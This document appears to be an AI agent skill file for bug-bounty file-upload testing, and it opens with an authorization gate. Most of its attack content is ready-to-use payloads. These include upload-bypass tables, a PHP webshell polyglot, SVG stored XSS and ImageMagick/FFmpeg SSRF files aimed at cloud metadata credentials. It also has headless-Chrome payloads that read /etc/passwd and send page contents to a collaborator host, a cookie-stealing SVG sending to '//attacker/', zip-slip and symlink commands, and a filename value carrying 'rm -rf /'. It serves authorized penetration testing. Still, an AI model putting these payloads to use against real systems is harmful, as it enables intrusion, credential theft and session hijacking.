⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
9. FILE UPLOAD
Content-Type Bypass
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
File Upload Bypass Techniques (10 techniques)
| Attack | How | Prevention |
|---|---|---|
| Extension bypass | shell.php.jpg, shell.pHp, shell.php5 | Allowlist + extract final extension |
| Null byte | shell.php%00.jpg | Sanitize null bytes |
| Double extension | shell.jpg.php | Only allow single extension |
| MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header |
| Magic bytes prefix | Prepend GIF89a; to PHP code | Parse whole file, not just header |
| Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid |
| SVG JavaScript | <svg onload="..."> | Sanitize SVG or disallow entirely |
| XXE in DOCX | Malicious XML in Office ZIP | Disable external entities |
| ZIP slip | ../../../etc/passwd in archive | Validate extracted paths |
| Filename injection | ; rm -rf / in filename | Sanitize + use UUID names |
Magic Bytes Reference
| Type | Hex |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
Stored XSS via SVG
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
ImageMagick / FFmpeg Exploitation
ImageMagick SSRF / File Read (ImageTragick family + modern variants)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
FFmpeg SSRF via HLS Playlist
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
Headless Chrome / PDF Generator SSRF
HTML → PDF Converter Attacks
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"
Archive Extraction Attacks (Zip Slip / Symlink)
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"
Related Skills & Chains
hunt-rce— File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglotGIF89a;<?php system($_GET['c']);?>bypasses magic-byte check +.phtmlextension bypasses allowlist →GET /uploads/shell.phtml?c=id→ RCE; or PHPphar://upload to a sink callingfile_exists()on the attacker-controlled path → PHP object deserialization → RCE.hunt-xxe— Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose[Content_Types].xmlorword/document.xmlincludes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil/etc/passwdorweb.configvia the document parser.hunt-xss— SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with<script>fetch('//attacker/?'+document.cookie)</script>→ victim views attachment atapp.target.com/uploads/x.svg(same origin, not sandboxed) → cookie theft → ATO via session hijack.hunt-ssrf— Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with<image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">or ffmpegconcat:http://internal/...→ SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.security-arsenal— Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants,.phtml/.phar/.php5/.pht,.htaccessupload to re-enable handlers,web.configupload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.triage-validation— Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actualwhoamiround-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
When to Use
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
Limitations
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
- Validate every finding (see
triage-validation) before reporting; report viareport-writing. Prefer a sandbox, disposable VM, or controlled lab.
Example
# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.